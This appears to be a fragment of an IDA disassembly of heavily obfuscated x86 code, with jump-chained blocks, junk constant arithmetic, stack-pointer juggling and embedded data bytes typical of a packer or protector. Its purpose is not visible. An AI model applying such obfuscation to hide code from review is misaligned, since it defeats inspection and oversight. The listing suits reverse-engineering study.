		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_5A6D03
; ---------------------------------------------------------------------------


loc_5A69F1:				; CODE XREF: sdfs____:0059FF4Aj
		push	891h
		mov	[esp], ecx
		push	edx
		mov	edx, 4026487Eh
		mov	ecx, 4AEA9F1Eh
		sub	ecx, edx
		jmp	loc_59C152
; ---------------------------------------------------------------------------


loc_5A6A0B:				; CODE XREF: sdfs____:005ACCC3j
		mov	edi, 5D1244ABh
		push	esi
		mov	esi, 5D1204ABh
		push	esi
		sub	dword ptr [esp], 120D0B11h
		pop	ebp
		jmp	loc_5A8F47
; ---------------------------------------------------------------------------


loc_5A6A24:				; CODE XREF: sdfs____:005A51EAj
		sub	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A7961
; ---------------------------------------------------------------------------


loc_5A6A31:				; CODE XREF: sdfs____:005A6E34j
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	ebp
		jmp	loc_5A6105
; ---------------------------------------------------------------------------
		dw 860Fh
		dd 270Eh, 882AC480h, 0F78058E7h, 5EFC067h, 0FFDAE8E9h
		dd 26ADE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6A62:				; CODE XREF: sdfs____:005A4F52j
		mov	ax, 0FFFFh
		jmp	loc_59A01F
; ---------------------------------------------------------------------------


loc_5A6A6B:				; CODE XREF: sdfs____:0059AB3Dj
		add	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5AC0C1
; ---------------------------------------------------------------------------


loc_5A6A7E:				; CODE XREF: sdfs____:loc_59C573j
		sub	eax, 7D451FA3h
		jb	loc_5A0278
		push	ebx
		jmp	loc_5A24F5
; ---------------------------------------------------------------------------
		db 5Ch
		dd 565EF181h, 0CB891A7Ah
; ---------------------------------------------------------------------------


loc_5A6A98:				; CODE XREF: sdfs____:005AF7D5j
					; sdfs____:005AF85Dj
		add	ebx, esi
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5AF9EE
; ---------------------------------------------------------------------------


loc_5A6AC4:				; CODE XREF: sdfs____:0059FBFDj
		add	ebx, eax
		add	ebx, 4DAC51A1h
		jmp	loc_59B1DD
; ---------------------------------------------------------------------------


loc_5A6AD1:				; CODE XREF: sdfs____:005ADA5Fj
		sub	ebx, eax
		jmp	loc_5A06E4
; ---------------------------------------------------------------------------


loc_5A6AD8:				; CODE XREF: sdfs____:005A5EC4j
		mov	dl, bl
		mov	ch, dl
		pop	edx
		mov	ebx, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5AEC1C
; ---------------------------------------------------------------------------
		dd 0C15DE989h, 0BE5603E1h, 57883C57h, 1C681h, 0A8E90000h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6B0F:				; CODE XREF: sdfs____:005AB5A4j
		mov	ecx, [esp]
		jmp	loc_5AC0D7
; ---------------------------------------------------------------------------


loc_5A6B17:				; CODE XREF: sdfs____:0059BFFFj
		push	152F333Eh
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5B0447
; ---------------------------------------------------------------------------


loc_5A6B27:				; CODE XREF: sdfs____:005A41E5j
		mov	[esp], ebp
		jmp	loc_5AC4E7
; ---------------------------------------------------------------------------


loc_5A6B2F:				; CODE XREF: sdfs____:0059D9CDj
		pop	edx
		neg	eax
		push	0
		sub	[esp], eax
		pop	eax
		add	eax, 36FB53AEh
		jmp	loc_59FB73
; ---------------------------------------------------------------------------


loc_5A6B45:				; CODE XREF: sdfs____:00599465j
		mov	eax, 0F92555Bh
		neg	eax
		jmp	loc_5A617C
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 0E9h
		dd 0FFFFA93Bh
; ---------------------------------------------------------------------------


loc_5A6B58:				; CODE XREF: sdfs____:0059D5D1j
		sub	ebx, edi
		pop	edi
		push	ecx
		mov	ecx, 1BBE1CCFh
		jmp	loc_5A3FB0
; ---------------------------------------------------------------------------


loc_5A6B66:				; CODE XREF: sdfs____:005A851Ej
		add	ebx, edi
		jmp	loc_59A6A0
; ---------------------------------------------------------------------------


loc_5A6B6D:				; CODE XREF: sdfs____:005A213Dj
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5A9CF9
; ---------------------------------------------------------------------------


loc_5A6B87:				; CODE XREF: sdfs____:005ABB4Bj
		push	ebx
		mov	bx, 6745h
		neg	bx
		or	bx, 6FD6h
		jmp	loc_59B9B2
; ---------------------------------------------------------------------------


loc_5A6B99:				; CODE XREF: sdfs____:00599DA6j
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_59A94C
; ---------------------------------------------------------------------------


loc_5A6BA5:				; CODE XREF: sdfs____:0059E8F8j
		pop	dword ptr [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		jmp	loc_59E07E
; ---------------------------------------------------------------------------


loc_5A6BBC:				; CODE XREF: sdfs____:loc_5A67D9j
		sub	esp, 2
		mov	[esp], cx
		not	byte ptr [esp]
		mov	cx, [esp]
		push	esi
		jmp	loc_5A6277
; ---------------------------------------------------------------------------


loc_5A6BD3:				; CODE XREF: sdfs____:005A7A19j
		inc	ebp
		js	loc_59E586
		add	ebp, 1
		jmp	loc_5AFA7E
; ---------------------------------------------------------------------------
		db 5Bh
; ---------------------------------------------------------------------------


loc_5A6BE6:				; CODE XREF: sdfs____:0059FAE2j
		shl	ebp, 8
		jnp	loc_5A138D
		push	edx
		jmp	loc_5A302B
; ---------------------------------------------------------------------------


loc_5A6BF5:				; CODE XREF: sdfs____:0059FD28j
		push	edx
		jmp	loc_5A28BD
; ---------------------------------------------------------------------------


loc_5A6BFB:				; CODE XREF: sdfs____:005A09C6j
		shr	ebp, 5
		xor	ebp, 2093C4F8h
		jmp	loc_5AB8F8
; ---------------------------------------------------------------------------


loc_5A6C09:				; CODE XREF: sdfs____:0059D60Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5A7D56
; ---------------------------------------------------------------------------
		db 57h,	54h, 5Fh
		dd 0FF9F67E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6C21:				; CODE XREF: sdfs____:005A7FD6j
		add	[esp+4], ecx
		jmp	loc_5AA392
; ---------------------------------------------------------------------------


loc_5A6C2A:				; CODE XREF: sdfs____:005AFF0Aj
		pop	edx
		jmp	loc_59BC9F
; ---------------------------------------------------------------------------
		dd 0EC877835h, 3F3AE94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6C3A:				; CODE XREF: sdfs____:00599EAEj
		pop	edx
		and	edx, ecx
		pop	ecx
		or	edx, 132B451Bh
		xor	edx, 0B6F2F2Eh
		or	eax, edx
		jmp	loc_59BF63
; ---------------------------------------------------------------------------


loc_5A6C51:				; CODE XREF: sdfs____:0059E5B6j
		sub	ebx, ebp
		pop	ebp
		jmp	loc_5A0B76
; ---------------------------------------------------------------------------


loc_5A6C59:				; CODE XREF: sdfs____:0059F3B1j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_5AA26A
; ---------------------------------------------------------------------------


loc_5A6C63:				; CODE XREF: sdfs____:005AF5E5j
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A6C68:				; CODE XREF: sdfs____:005A970Cj
		sub	edx, ebp
		pop	ebp
		mov	ecx, edx
		pop	edx
		add	ebx, ecx
		pop	ecx
		add	ebx, 4B7F1F29h
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 2
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------


loc_5A6C90:				; CODE XREF: sdfs____:005AA779j
		sub	ebx, 201D3344h
		push	2F10h
		mov	[esp], ebp
		jmp	loc_59DB82
; ---------------------------------------------------------------------------


loc_5A6CA3:				; CODE XREF: sdfs____:005A6F19j
		push	eax
		mov	eax, 8FB5E1Dh
		xor	eax, 2A44396Ch
		mov	ebx, eax
		pop	eax
		push	0E30h
		mov	[esp], edi
		mov	edi, 3275187Eh
		add	edi, 35A5531Eh
		jmp	loc_5A2A89
; ---------------------------------------------------------------------------


loc_5A6CC9:				; CODE XREF: sdfs____:0059F0F7j
		add	esp, 4
		jmp	loc_59C6BF
; ---------------------------------------------------------------------------


loc_5A6CD4:				; CODE XREF: sdfs____:005A8277j
		sub	esi, 144264DDh
		jge	loc_5A815D
		shl	esi, 1
		sub	esp, 4
		mov	[esp], esi
		not	dword ptr [esp]
		pop	esi
		add	esi, 319F6607h
		mov	ebx, esi
		pop	esi
		push	ecx
		mov	ecx, 2BBE10ADh
		jmp	loc_5AB7DE
; ---------------------------------------------------------------------------


loc_5A6D03:				; CODE XREF: sdfs____:005A69ECj
		sub	edi, edx
		push	edx
		mov	edx, 7FEC7434h
		sub	edi, 7D7C3674h
		sub	edi, 60AC1B6Fh
		add	edi, edx
		add	edi, 60AC1B6Fh
		add	edi, 7D7C3674h
		mov	edx, [esp]
		add	esp, 4
		mov	edx, [esp]
		add	esp, 4
		and	eax, edi
		pop	edi
		push	dword ptr [edi+1Ch]
		push	edx
		mov	edx, 1CFE7424h
		sub	[esp+4], edx
		pop	edx
		jmp	loc_5A624B
; ---------------------------------------------------------------------------


loc_5A6D47:				; CODE XREF: sdfs____:005A9C49j
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edi, 4
		push	ebx
		jmp	loc_5ACFB7
; ---------------------------------------------------------------------------


loc_5A6D5D:				; CODE XREF: sdfs____:005AC42Dj
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_5A3CB3
; ---------------------------------------------------------------------------


loc_5A6D68:				; CODE XREF: sdfs____:0059A32Ej
					; sdfs____:005A29B8j
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_5A5291
; ---------------------------------------------------------------------------


loc_5A6D72:				; CODE XREF: sdfs____:005A0F0Aj
					; sdfs____:loc_5AB38Ej
		mov	edx, 69FC6FE2h
		sub	edx, 79023FE5h
		shl	edx, 6
		jmp	loc_5B0065
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0E9505C24h, 0FFFFB8B6h
		dd 4C481h, 48F0000h, 24248B24h,	592434FFh, 35C26855h, 24890000h
		dd 24048124h, 4, 1B4FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6DC5:				; CODE XREF: sdfs____:005A95A4j
		jge	loc_59ADC0
		or	ecx, 311771C6h
		jz	loc_59FB50
		mov	bl, 6Ch


loc_5A6DDA:				; CODE XREF: sdfs____:0059F02Aj
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5A8464
; ---------------------------------------------------------------------------
		dw 0CE80h
		dd 5BEE8067h, 8091EE80h, 1704ECC6h, 172CF000h, 56BDE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A6DFE:				; CODE XREF: sdfs____:005AF37Aj
					; sdfs____:005B01D3j
		add	ebp, 0A396E630h
		sub	edi, ebp
		pop	ebp
		shr	edi, 1
		push	ecx
		jmp	loc_5AB21F
; ---------------------------------------------------------------------------


loc_5A6E0F:				; CODE XREF: sdfs____:005996C0j
		add	edx, 67303C21h
		add	edx, esi
		push	ebx
		mov	ebx, 67303C21h
		sub	edx, 3FF16D67h
		sub	edx, ebx
		add	edx, 3FF16D67h
		mov	ebx, [esp]
		add	esp, 4
		mov	esi, [esp]
		jmp	loc_5A6A31
; ---------------------------------------------------------------------------


loc_5A6E39:				; CODE XREF: sdfs____:0059F4F0j
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59A6F1
; ---------------------------------------------------------------------------
		dd 1489C681h, 0F0295B02h, 0FFBA35E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A6E51:				; CODE XREF: sdfs____:005AC4B6j
		mov	esi, 50812D37h
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A6649
; ---------------------------------------------------------------------------


loc_5A6E61:				; CODE XREF: sdfs____:005AD92Fj
					; sdfs____:loc_5AED6Dj
		inc	ebx
		push	esi
		mov	esi, 17D9049Eh
		jmp	loc_5A621F
; ---------------------------------------------------------------------------
		db 31h,	0Ch, 24h
		dd 5C240C33h, 7E9668h, 242C8900h, 4EC8151h, 89000000h
		dd 0E92404h, 5FFFF37h, 4, 0FFD402E9h, 2275E9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6E9A:				; CODE XREF: sdfs____:005A7002j
		jg	loc_5AC461
		jmp	loc_5A772A
; ---------------------------------------------------------------------------
		db 54h,	5Bh, 0C6h
		db 0C7h, 2
; ---------------------------------------------------------------------------


loc_5A6EAA:				; CODE XREF: sdfs____:005A9093j
		add	ecx, 464903D9h
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		push	ecx
		pop	ebp
		mov	ebx, ebp
		jmp	loc_59B1F5
; ---------------------------------------------------------------------------


loc_5A6EC3:				; CODE XREF: sdfs____:0059CB22j
		shl	eax, 4
		add	eax, 3EAB6A31h
		sub	eax, 9CFEB353h
		add	esi, eax
		jmp	loc_5A7C75
; ---------------------------------------------------------------------------


loc_5A6ED7:				; CODE XREF: sdfs____:0059A6B1j
		add	ecx, 9B308676h
		sub	esp, 4
		jmp	loc_5A3BE5
; ---------------------------------------------------------------------------


loc_5A6EE8:				; CODE XREF: sdfs____:005A331Aj
					; sdfs____:005A7425j
		push	ebp
		mov	ebp, 13A310A1h
		sub	ebp, 3496706Ch
		sub	ebp, 0DF0CA031h
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		jmp	loc_5A371C
; ---------------------------------------------------------------------------


loc_5A6F05:				; CODE XREF: sdfs____:005A6830j
		shl	edi, 6
		jmp	loc_5AC006
; ---------------------------------------------------------------------------


loc_5A6F0D:				; CODE XREF: sdfs____:005A3001j
		or	edx, eax
		shl	edx, 1
		push	5944h
		mov	[esp], ebx
		jmp	loc_5A6CA3
; ---------------------------------------------------------------------------


loc_5A6F1E:				; CODE XREF: sdfs____:005A0B16j
		xchg	ebp, ebx
		jmp	loc_5A2F1A
; ---------------------------------------------------------------------------


loc_5A6F25:				; CODE XREF: sdfs____:0059A1BAj
		add	esi, eax
		sub	esi, 625D6A98h
		mov	eax, [esp]
		add	esp, 4
		add	esi, 2
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A8A64
; ---------------------------------------------------------------------------
		dd 0F7EEE81h, 0EE812E50h, 51DD7443h, 2414F756h,	83E9h
		dd 0E9D08900h, 584h, 24148966h,	2019E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A6F69:				; CODE XREF: sdfs____:005AE854j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	eax
		jmp	loc_5ADDAD
; ---------------------------------------------------------------------------


loc_5A6F79:				; CODE XREF: sdfs____:005AE51Aj
		add	edx, ecx
		pop	ecx
		sub	edx, ecx
		push	esi
		push	eax
		push	5D02387Fh
		pop	eax
		or	eax, 1EB91374h
		jno	loc_59D9D2
		shr	eax, 5
		jmp	loc_59D008
; ---------------------------------------------------------------------------
		db 0B5h, 0E9h, 57h
; ---------------------------------------------------------------------------


loc_5A6F9C:				; CODE XREF: sdfs____:005A1418j
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A4610
; ---------------------------------------------------------------------------


loc_5A6FB7:				; CODE XREF: sdfs____:005AD0F6j
		pop	ebp
		sub	edx, eax
		jmp	loc_5A3AF5
; ---------------------------------------------------------------------------
		db 0FFh
		dd 815B2434h, 4C4h, 24348700h, 12CCE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A6FD2:				; CODE XREF: sdfs____:005A3ADFj
		pop	esp
		rol	dword ptr [esp], cl
		pushf
		jmp	loc_59910F
; ---------------------------------------------------------------------------
		dd 99C6815Eh, 5213C37Eh, 0E866DABAh, 0E5BD554Eh, 811ED454h
		dd 2D0B89F5h, 3D4BE9CAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A6FFA:				; CODE XREF: sdfs____:005AF08Dj
		mov	al, bh
		pop	ebx
		push	ecx
		mov	ch, 6Eh
		dec	ch
		jmp	loc_5A6E9A
; ---------------------------------------------------------------------------
		db 50h
		dd 0FF49CCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A700D:				; CODE XREF: sdfs____:005AA837j
		pop	ecx
		jmp	loc_5A7260
; ---------------------------------------------------------------------------


loc_5A7013:				; CODE XREF: sdfs____:0059CA97j
		pop	edx
		mov	eax, esi
		jmp	loc_5A3799
; ---------------------------------------------------------------------------


loc_5A701B:				; CODE XREF: sdfs____:005A3BBAj
		jo	loc_599999
		neg	edx
		jmp	loc_5AA6C6
; ---------------------------------------------------------------------------


loc_5A7028:				; CODE XREF: sdfs____:005A5194j
		push	ebx
		jmp	loc_5A24A3
; ---------------------------------------------------------------------------


loc_5A702E:				; CODE XREF: sdfs____:005AC5ADj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_59B470
; ---------------------------------------------------------------------------


loc_5A7044:				; CODE XREF: sdfs____:0059A72Dj
		add	ebx, esi
		jmp	loc_5A8D0C
; ---------------------------------------------------------------------------


loc_5A704B:				; CODE XREF: sdfs____:005A668Cj
		dec	edi
		or	edi, 5D75204Fh
		jmp	loc_5A1E55
; ---------------------------------------------------------------------------
		db 53h
		dd 42474FFh, 24048F5Bh,	440E685Ch, 0C890000h, 0E9008F24h
		dd 0FFFF209Fh, 68CFFE5Ch, 5478h, 52240C89h, 0F188E6B6h
		dd 4597E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A7085:				; CODE XREF: sdfs____:0059FBEAj
		mov	ecx, 5D220316h
		sub	edx, ecx
		pop	ecx
		jmp	loc_59C98E
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd offset dword_572994+455h
		db 0
; ---------------------------------------------------------------------------


loc_5A7099:				; CODE XREF: sdfs____:0059DA63j
		and	eax, 7FD617DAh
		inc	eax
		sub	eax, 3A73554Dh
		sub	eax, 3D4C5723h
		add	edi, eax
		pop	eax
		add	edi, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59B683
; ---------------------------------------------------------------------------


loc_5A70B9:				; CODE XREF: sdfs____:005A4375j
		push	dword ptr [esp]
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	25FCh
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		jmp	loc_59B534
; ---------------------------------------------------------------------------


loc_5A70EA:				; CODE XREF: sdfs____:0059D5AAj
		mov	dx, [esp]
		add	esp, 2
		push	eax
		mov	ah, 0EFh
		xor	cl, ah
		pop	eax
		jmp	loc_5AA341
; ---------------------------------------------------------------------------
		db 83h
		dd 0DAF704C4h, 2722E955h, 0C281FFFFh, 4, 4BB53h, 0BD550000h
		dd 207443CAh, 0DCE9EA29h
		db 1Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A7123:				; CODE XREF: sdfs____:005AEFD0j
		add	esi, eax
		jmp	loc_5AF3D3
; ---------------------------------------------------------------------------


loc_5A712A:				; CODE XREF: sdfs____:005A56DBj
		push	small 4DDBh
		mov	[esp], dx
		xor	[esp], dx
		jmp	loc_59CDD3
; ---------------------------------------------------------------------------


loc_5A713B:				; CODE XREF: sdfs____:005AD40Cj
		xor	edi, 2BFA0E5Eh
		xchg	eax, edi
		not	eax
		jmp	loc_5A26DC
; ---------------------------------------------------------------------------


loc_5A7149:				; CODE XREF: sdfs____:005AD447j
		mov	[esp], eax
		push	2DFAh
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		jmp	loc_5A3F26
; ---------------------------------------------------------------------------


loc_5A716F:				; CODE XREF: sdfs____:0059B6E3j
		pop	ebp
		jmp	loc_5ACC40
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 68241C89h, 5A30h, 68240489h,	45D828CBh, 0E2895258h
		dd 0FFC42EE9h, 0C3815BFFh, 6F52624Eh, 83C58C0Fh, 0EFE90000h
		db 64h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A71A3:				; CODE XREF: sdfs____:005A83BEj
		mov	esp, [esp]
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	460Fh
		jmp	loc_5AA68B
; ---------------------------------------------------------------------------


loc_5A71BA:				; CODE XREF: sdfs____:005A2411j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A1F0A
; ---------------------------------------------------------------------------


loc_5A71C6:				; CODE XREF: sdfs____:005A77D0j
		add	ch, al
		jmp	loc_5ADB20
; ---------------------------------------------------------------------------


loc_5A71CD:				; CODE XREF: sdfs____:005AFE4Cj
		push	7286h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		xor	ebp, esi
		jmp	loc_5AB37E
; ---------------------------------------------------------------------------


loc_5A71F0:				; CODE XREF: sdfs____:0059D796j
		push	ebp
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		xor	ecx, 589E0620h
		add	ecx, edi
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 0
		mov	eax, ebp
		pop	ebp
		push	esi
		jmp	loc_59F133
; ---------------------------------------------------------------------------


loc_5A721C:				; CODE XREF: sdfs____:005ABAEBj
		mov	[esp], esi
		pop	ebp
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59FDB8
; ---------------------------------------------------------------------------


loc_5A722B:				; CODE XREF: sdfs____:0059EB4Dj
		xor	edx, 0FF60F386h
		neg	edx
		jmp	loc_5A4F84
; ---------------------------------------------------------------------------


loc_5A7238:				; CODE XREF: sdfs____:005A4BADj
		xor	edi, 9E340BF3h
		or	esi, edi
		pop	edi
		add	esi, 7A5120C9h
		xor	esi, 4E17437h
		sub	esi, 0BECEE8FBh
		add	ebx, 19694A8Bh
		add	ebx, esi
		jmp	loc_5A7470
; ---------------------------------------------------------------------------


loc_5A7260:				; CODE XREF: sdfs____:005A700Ej
		mov	esi, edi
		pop	edi
		sub	ebx, 712E53F6h
		sub	ebx, esi
		add	ebx, 712E53F6h
		pop	esi
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5A7CC4
; ---------------------------------------------------------------------------
byte_5A727D	db 0FFh, 34h, 24h	; DATA XREF: sdfs____:00598E3Co
		dd 5624048Bh, 0C681E689h, 4, 0ACBA5250h, 0B829BA10h, 59BC331Bh
		dd 0E8E9D029h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A729F:				; CODE XREF: sdfs____:005A256Dj
		mov	edx, esi
		pop	esi
		push	0F22h
		mov	[esp], edi
		mov	edi, 89FFBA72h
		add	edx, edi
		pop	edi
		sub	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5A8FD8
; ---------------------------------------------------------------------------


loc_5A72CB:				; CODE XREF: sdfs____:005AC9E0j
		push	ebp
		mov	ebp, 653369DEh
		push	ebx
		mov	ebx, 547B6386h
		add	ebx, 2A6CF055h
		sub	ebp, ebx
		pop	ebx
		jmp	loc_5A267D
; ---------------------------------------------------------------------------


loc_5A72E5:				; CODE XREF: sdfs____:0059CAE4j
		sub	dword ptr [esp+8], 3704DB1h
		pop	ecx
		pop	edi
		pop	esi
		push	3166h
		mov	[esp], ecx
		mov	ecx, 24h
		jmp	loc_599A61
; ---------------------------------------------------------------------------
word_5A7302	dw 8B66h		; DATA XREF: sdfs____:005990ACo
		dd 89512404h, 4C181E1h,	68000000h, 27C0h, 0E9242C89h, 0FFFF497Bh
; ---------------------------------------------------------------------------


loc_5A731C:				; CODE XREF: sdfs____:0059D2D3j
		pop	eax
		jmp	loc_5ABF8D
; ---------------------------------------------------------------------------


loc_5A7322:				; CODE XREF: sdfs____:005ACC45j
		add	eax, 1
		push	edi
		jmp	loc_5AFDFD
; ---------------------------------------------------------------------------


loc_5A732D:				; CODE XREF: sdfs____:0059D855j
		and	ebp, 6F3219FCh
		jl	loc_5ACA85
		sub	ebp, 0A020FFCh
		add	ecx, ebp
		pop	ebp
		push	ebx
		mov	ebx, 4
		jmp	loc_5ACF3A
; ---------------------------------------------------------------------------


loc_5A734D:				; CODE XREF: sdfs____:005ADF9Cj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5AF17B
; ---------------------------------------------------------------------------
		db 0BFh, 4, 0
		dd 0FA010000h, 4EC815Fh, 89000000h, 0EC83242Ch,	0CD8FE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A737A:				; CODE XREF: sdfs____:005ACF0Bj
		add	ebx, eax
		jmp	loc_5A5783
; ---------------------------------------------------------------------------


loc_5A7381:				; CODE XREF: sdfs____:0059AA5Dj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_59C7AE
; ---------------------------------------------------------------------------


loc_5A738E:				; CODE XREF: sdfs____:0059EDDBj
		pop	edi
		push	eax
		mov	eax, 75B40B1Ah
		push	esi
		jmp	loc_5AB772
; ---------------------------------------------------------------------------


loc_5A739B:				; CODE XREF: sdfs____:005A523Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5AA4B9
; ---------------------------------------------------------------------------


loc_5A73AD:				; CODE XREF: sdfs____:005A001Aj
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_59D80C
; ---------------------------------------------------------------------------


loc_5A73BB:				; CODE XREF: sdfs____:0059F2E4j
		push	782Ch
		mov	[esp], edi
		push	133A4364h
		mov	edi, [esp]
		add	esp, 4
		xor	edi, 133A4360h
		push	edi
		add	dword ptr [esp], 351D25E0h
		jmp	loc_599689
; ---------------------------------------------------------------------------
		dd 2E26852h, 815A176Ch,	65200AEAh, 3B820F79h, 0F7000050h
		dd 75870FDAh, 8AFFFFE2h
		db 0E0h, 5Ah
; ---------------------------------------------------------------------------


loc_5A7402:				; CODE XREF: sdfs____:0059D711j
		mov	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5AAC2A
; ---------------------------------------------------------------------------


loc_5A740F:				; CODE XREF: sdfs____:005A858Ej
		push	5163h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_5A6EE8
; ---------------------------------------------------------------------------


loc_5A742A:				; CODE XREF: sdfs____:005A615Aj
		mov	eax, 6A236F14h
		push	edx
		mov	edx, 554B3D07h
		push	esi
		jmp	loc_59D9B2
; ---------------------------------------------------------------------------


loc_5A743B:				; CODE XREF: sdfs____:0059CF3Dj
		sub	eax, 0B3634CAh
		jo	loc_5997FD
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 2A8E4355h
		jmp	loc_59B652
; ---------------------------------------------------------------------------


loc_5A7456:				; CODE XREF: sdfs____:005AC34Aj
		mov	eax, 6B7D2C14h
		jmp	loc_59A829
; ---------------------------------------------------------------------------
		dd 4B9h, 59CB2900h, 0E9241C87h,	31C6h
; ---------------------------------------------------------------------------


loc_5A7470:				; CODE XREF: sdfs____:005A725Bj
		sub	ebx, 19694A8Bh
		jmp	loc_59EE1A
; ---------------------------------------------------------------------------


loc_5A747B:				; CODE XREF: sdfs____:005AC7FEj
		add	dword ptr [esp], 447C2E2Dh
		sub	esp, 4
		mov	[esp], ecx
		push	ebx
		mov	ebx, 0F1B6B39h
		push	ebx
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		add	[esp+4], ecx
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		pop	ecx
		shr	ecx, 7
		and	ecx, 28F47339h
		and	ecx, 532D4388h
		jmp	loc_5AA4D8
; ---------------------------------------------------------------------------


loc_5A74C1:				; CODE XREF: sdfs____:0059A474j
		pop	esi
		sub	ecx, 7DCD3F2Fh
		add	ecx, ebp
		add	ecx, 7DCD3F2Fh
		push	edx
		jmp	loc_5A2F4E
; ---------------------------------------------------------------------------


loc_5A74D6:				; CODE XREF: sdfs____:0059A37Cj
		push	ecx
		mov	cl, 0B0h
		and	cl, 0A3h
		add	cl, 0C5h
		jmp	loc_59F579
; ---------------------------------------------------------------------------
		dd 0E9405F5Ah, 0FFFF3DA5h
; ---------------------------------------------------------------------------


loc_5A74EC:				; CODE XREF: sdfs____:0059ABD6j
		sub	esi, 4
		jmp	loc_5AC4AD
; ---------------------------------------------------------------------------


loc_5A74F4:				; CODE XREF: sdfs____:005AAA68j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		jmp	loc_59F4FD
